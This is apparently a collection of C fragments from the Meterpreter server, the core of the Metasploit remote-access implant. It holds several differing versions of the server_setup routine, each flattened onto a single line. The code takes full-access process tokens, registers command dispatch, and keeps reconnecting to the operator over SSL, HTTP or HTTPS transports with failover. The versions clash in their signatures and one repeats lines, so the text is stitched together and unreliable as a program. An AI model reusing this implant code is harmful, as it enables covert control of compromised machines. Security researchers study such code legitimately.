/* * Instantiate a remote context from a file descriptor */ Remote *remote_allocate(SOCKET fd) { Remote *remote = NULL; // Allocate the remote context if ((remote = (Remote *)malloc(sizeof(Remote)))) { memset(remote, 0, sizeof(Remote)); // Set the file descriptor remote->fd = fd; remote->lock = lock_create(); // If we failed to create the lock we must fail to create the remote // as we wont be able to synchronize communication correctly. if( remote->lock == NULL ) { remote_deallocate( remote ); return NULL; } } return remote; }
/* * Setup and run the server. This is called from Init via the loader. */ DWORD server_setup( SOCKET fd ) { Remote * remote = NULL; char cStationName[256] = {0}; char cDesktopName[256] = {0}; DWORD res = 0; dprintf("[SERVER] Initializing..."); #ifdef _UNIX int local_error = 0; #endif // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value // for use with loading server extensions later. InitAppInstance(); srand( (unsigned int)time(NULL) ); __try { do { dprintf( "[SERVER] module loaded at 0x%08X", hAppInstance ); // Open a THREAD item for the servers main thread, we use this to manage migration later. serverThread = thread_open(); dprintf( "[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm ); if( !(remote = remote_allocate(fd)) ) { SetLastError( ERROR_NOT_ENOUGH_MEMORY ); break; } remote->url = global_meterpreter_url; if (strcmp(global_meterpreter_transport+12, "TRANSPORT_SSL") == 0) { remote->transport = METERPRETER_TRANSPORT_SSL; dprintf("[SERVER] Using SSL transport..."); } else if (strcmp(global_meterpreter_transport+12, "TRANSPORT_HTTPS") == 0) { remote->transport = METERPRETER_TRANSPORT_HTTPS; dprintf("[SERVER] Using HTTPS transport..."); } else if (strcmp(global_meterpreter_transport+12, "TRANSPORT_HTTP") == 0) { remote->transport = METERPRETER_TRANSPORT_HTTP; dprintf("[SERVER] Using HTTP transport..."); } // Do not allow the file descriptor to be inherited by child processes SetHandleInformation((HANDLE)fd, HANDLE_FLAG_INHERIT, 0); dprintf("[SERVER] Initializing tokens..."); // Store our thread handle remote->hServerThread = serverThread->handle; #ifdef _WIN32 // Store our process token if (!OpenThreadToken(remote->hServerThread, TOKEN_ALL_ACCESS, TRUE, &remote->hServerToken)) OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->hServerToken); // Copy it to the thread token remote->hThreadToken = remote->hServerToken; // Save the initial session/station/desktop names... remote->dwOrigSessionId = server_sessionid(); remote->dwCurrentSessionId = remote->dwOrigSessionId; GetUserObjectInformation( GetProcessWindowStation(), UOI_NAME, &cStationName, 256, NULL ); remote->cpOrigStationName = _strdup( cStationName ); remote->cpCurrentStationName = _strdup( cStationName ); GetUserObjectInformation( GetThreadDesktop( GetCurrentThreadId() ), UOI_NAME, &cDesktopName, 256, NULL ); remote->cpOrigDesktopName = _strdup( cDesktopName ); remote->cpCurrentDesktopName = _strdup( cDesktopName ); #endif // Process our default SSL-over-TCP transport if (remote->transport == METERPRETER_TRANSPORT_SSL) { dprintf("[SERVER] Flushing the socket handle..."); server_socket_flush( remote ); dprintf("[SERVER] Initializing SSL..."); if( !server_initialize_ssl( remote ) ) break; dprintf("[SERVER] Negotiating SSL..."); if( !server_negotiate_ssl( remote ) ) break; dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", remote->transport); server_dispatch( remote ); dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines( remote ); } if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS) { dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", remote->transport); #ifdef _WIN32 server_dispatch_http_wininet( remote ); #else // XXX: Handle non-windows HTTP transport #endif dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines( remote ); } } while (0); if (remote->transport == METERPRETER_TRANSPORT_SSL) { dprintf("[SERVER] Closing down SSL..."); server_destroy_ssl( remote ); } if( remote ) remote_deallocate( remote ); } __except( exceptionfilter(GetExceptionCode(), GetExceptionInformation()) ) { dprintf("[SERVER] *** exception triggered!"); thread_kill( serverThread ); } dprintf("[SERVER] Finished."); return res; }
/*! * @brief Setup and run the server. This is called from Init via the loader. * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. * @return Meterpreter exit code (ignored by the caller). */ DWORD server_setup(MetsrvConfig* config) { THREAD* serverThread = NULL; Remote* remote = NULL; char stationName[256] = { 0 }; char desktopName[256] = { 0 }; DWORD res = 0; dprintf("[SERVER] Initializing from configuration: 0x%p", config); dprintf("[SESSION] Comms Fd: %u", config->session.comms_fd); dprintf("[SESSION] Expiry: %u", config->session.expiry); dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3], config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7], config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11], config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]); // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value // for use with loading server extensions later. InitAppInstance(); srand((unsigned int)time(NULL)); __try { do { dprintf("[SERVER] module loaded at 0x%08X", hAppInstance); // Open a THREAD item for the servers main thread, we use this to manage migration later. serverThread = thread_open(); dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm); if (!(remote = remote_allocate())) { SetLastError(ERROR_NOT_ENOUGH_MEMORY); break; } setup_ssl_lib(&remote->ssl); remote->orig_config = config; remote->sess_expiry_time = config->session.expiry; remote->sess_start_time = current_unix_timestamp(); remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); DWORD transportSize = 0; if (!create_transports(remote, config->transports, &transportSize)) { // not good, bail out! SetLastError(ERROR_BAD_ARGUMENTS); break; } // the first transport should match the transport that we initially connected on. // If it's TCP comms, we need to wire that up. if (remote->transport->type == METERPRETER_TRANSPORT_SSL && config->session.comms_fd) { ((TcpTransportContext*)remote->transport->ctx)->fd = (SOCKET)config->session.comms_fd; } // Set up the transport creation function pointer remote->trans_create = create_transport; // Set up the transport removal function pointer remote->trans_remove = remove_transport; // and the config creation pointer remote->config_create = config_create; // Store our thread handle remote->server_thread = serverThread->handle; dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); // this has to be done after dispatch routine are registered load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); // Store our process token if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token)) { OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token); } if (scheduler_initialize(remote) != ERROR_SUCCESS) { SetLastError(ERROR_BAD_ENVIRONMENT); break; } // Copy it to the thread token remote->thread_token = remote->server_token; // Save the initial session/station/desktop names... remote->orig_sess_id = server_sessionid(); remote->curr_sess_id = remote->orig_sess_id; GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL); remote->orig_station_name = _strdup(stationName); remote->curr_station_name = _strdup(stationName); GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL); remote->orig_desktop_name = _strdup(desktopName); remote->curr_desktop_name = _strdup(desktopName); remote->sess_start_time = current_unix_timestamp(); // loop through the transports, reconnecting each time. while (remote->transport) { if (remote->transport->transport_init) { dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport); // Each transport has its own set of retry settings and each should honour // them individually. if (!remote->transport->transport_init(remote->transport)) { dprintf("[SERVER] transport initialisation failed, moving to the next transport"); remote->transport = remote->transport->next_transport; // when we have a list of transports, we'll iterate to the next one. continue; } } dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx); DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread); dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult); if (remote->transport->transport_deinit) { dprintf("[DISPATCH] deinitialising transport"); remote->transport->transport_deinit(remote->transport); } dprintf("[TRANS] resetting transport"); if (remote->transport->transport_reset) { remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL); } // If the transport mechanism failed, then we should loop until we're able to connect back again. if (dispatchResult == ERROR_SUCCESS) { dprintf("[DISPATCH] Server requested shutdown of dispatch"); // But if it was successful, and this is a valid exit, then we should clean up and leave. if (remote->next_transport == NULL) { dprintf("[DISPATCH] No next transport specified, leaving"); // we weren't asked to switch transports, so we exit. break; } // we need to change transports to the one we've been given. We will assume, for now, // that the transport has been created using the appropriate functions and that it is // part of the transport list. dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport); remote->transport = remote->next_transport; remote->next_transport = NULL; } else { // move to the next one in the list dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport); remote->transport = remote->transport->next_transport; } // transport switching and failover both need to support the waiting functionality. if (remote->next_transport_wait > 0) { dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait); sleep(remote->next_transport_wait); // the wait is a once-off thing, needs to be reset each time remote->next_transport_wait = 0; } } // clean up the transports while (remote->transport) { remove_transport(remote, remote->transport); } dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines(remote); } while (0); dprintf("[DISPATCH] calling scheduler_destroy..."); scheduler_destroy(); dprintf("[DISPATCH] calling command_join_threads..."); command_join_threads(); remote_deallocate(remote); } __except (exceptionfilter(GetExceptionCode(), GetExceptionInformation())) { dprintf("[SERVER] *** exception triggered!"); thread_kill(serverThread); } dprintf("[SERVER] Finished."); return res; }
DWORD server_setup(SOCKET fd) { Remote *remote = NULL; DWORD res = 0; #ifdef _UNIX int local_error = 0; #endif // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value // for use with loading server extensions later. InitAppInstance(); srand((unsigned int)time(NULL)); __try { do { if (!(remote = remote_allocate(fd))) { SetLastError(ERROR_NOT_ENOUGH_MEMORY); break; } // Do not allow the file descriptor to be inherited by child // processes SetHandleInformation((HANDLE)fd, HANDLE_FLAG_INHERIT, 0); // Flush the socket handle dprintf("Flushing the socket handle..."); flush_socket(remote); // Initialize SSL on the socket dprintf("Negotiating SSL..."); negotiate_ssl(remote); // Register extension dispatch routines dprintf("Registering dispatch routines..."); register_dispatch_routines(); dprintf("Entering the monitor loop..."); // Keep processing commands res = monitor_loop(remote); dprintf("Deregistering dispatch routines..."); // Clean up our dispatch routines deregister_dispatch_routines(); } while (0); dprintf("Closing down SSL..."); SSL_free(remote->ssl); SSL_CTX_free(remote->ctx); if (remote) remote_deallocate(remote); } /* Invoke the fatal error handler */ __except(exceptionfilter(GetExceptionCode(), GetExceptionInformation())) { dprintf("*** exception triggered!"); ExitThread(0); } return res; }
/*! * @brief Setup and run the server. This is called from Init via the loader. * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. * @return Meterpreter exit code (ignored by the caller). */ DWORD server_setup(MetsrvConfig* config) { THREAD * serverThread = NULL; Remote *remote = NULL; char cStationName[256] = { 0 }; char cDesktopName[256] = { 0 }; DWORD res = 0; dprintf("[SERVER] Initializing..."); int local_error = 0; dprintf("[SERVER] Initializing from configuration: 0x%p", config); dprintf("[SESSION] Comms Fd: %u", config->session.comms_fd); dprintf("[SESSION] Expiry: %u", config->session.expiry); srand(time(NULL)); // Open a THREAD item for the servers main thread, we use this to manage migration later. serverThread = thread_open(); dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm); if (!(remote = remote_allocate())) { SetLastError(ERROR_NOT_ENOUGH_MEMORY); goto out; } remote->orig_config = config; remote->sess_expiry_time = config->session.expiry; remote->sess_start_time = current_unix_timestamp(); remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; remote->orig_config = config; remote->sess_expiry_time = config->session.expiry; remote->sess_start_time = current_unix_timestamp(); remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); DWORD transportSize = 0; if (!create_transports(remote, config->transports, &transportSize)) { // not good, bail out! SetLastError(ERROR_INVALID_PARAMETER); goto out; } // the first transport should match the transport that we initially connected on. // If it's TCP comms, we need to wire that up. if (config->session.comms_fd) { ((TcpTransportContext*)remote->transport->ctx)->fd = (SOCKET)config->session.comms_fd; } // TODO: need to implement this when we have the valid approach done for stageless. //load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); // Set up the transport creation function pointer remote->trans_create = create_transport; // Set up the transport removal function pointer remote->trans_remove = remove_transport; // and the config creation pointer remote->config_create = config_create; // Store our thread handle remote->server_thread = serverThread->handle; dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); remote->sess_start_time = current_unix_timestamp(); // loop through the transports, reconnecting each time. while (remote->transport) { if (remote->transport->transport_init) { dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport); // Each transport has its own set of retry settings and each should honour // them individually. if (!remote->transport->transport_init(remote->transport)) { dprintf("[SERVER] transport initialisation failed, moving to the next transport"); remote->transport = remote->transport->next_transport; // when we have a list of transports, we'll iterate to the next one. continue; } } dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx); DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread); dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult); if (remote->transport->transport_deinit) { dprintf("[DISPATCH] deinitialising transport"); remote->transport->transport_deinit(remote->transport); } dprintf("[TRANS] resetting transport"); if (remote->transport->transport_reset) { remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL); } // If the transport mechanism failed, then we should loop until we're able to connect back again. if (dispatchResult == ERROR_SUCCESS) { dprintf("[DISPATCH] Server requested shutdown of dispatch"); // But if it was successful, and this is a valid exit, then we should clean up and leave. if (remote->next_transport == NULL) { dprintf("[DISPATCH] No next transport specified, leaving"); // we weren't asked to switch transports, so we exit. break; } // we need to change transports to the one we've been given. We will assume, for now, // that the transport has been created using the appropriate functions and that it is // part of the transport list. dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport); remote->transport = remote->next_transport; remote->next_transport = NULL; if (remote->next_transport_wait > 0) { dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait); sleep(remote->next_transport_wait); // the wait is a once-off thing, needs to be reset each time remote->next_transport_wait = 0; } } else { // move to the next one in the list dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport); remote->transport = remote->transport->next_transport; } } // clean up the transports while (remote->transport) { remove_transport(remote, remote->transport); } dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines(remote); remote_deallocate(remote); out: res = GetLastError(); dprintf("[SERVER] Finished."); return res == ERROR_SUCCESS; }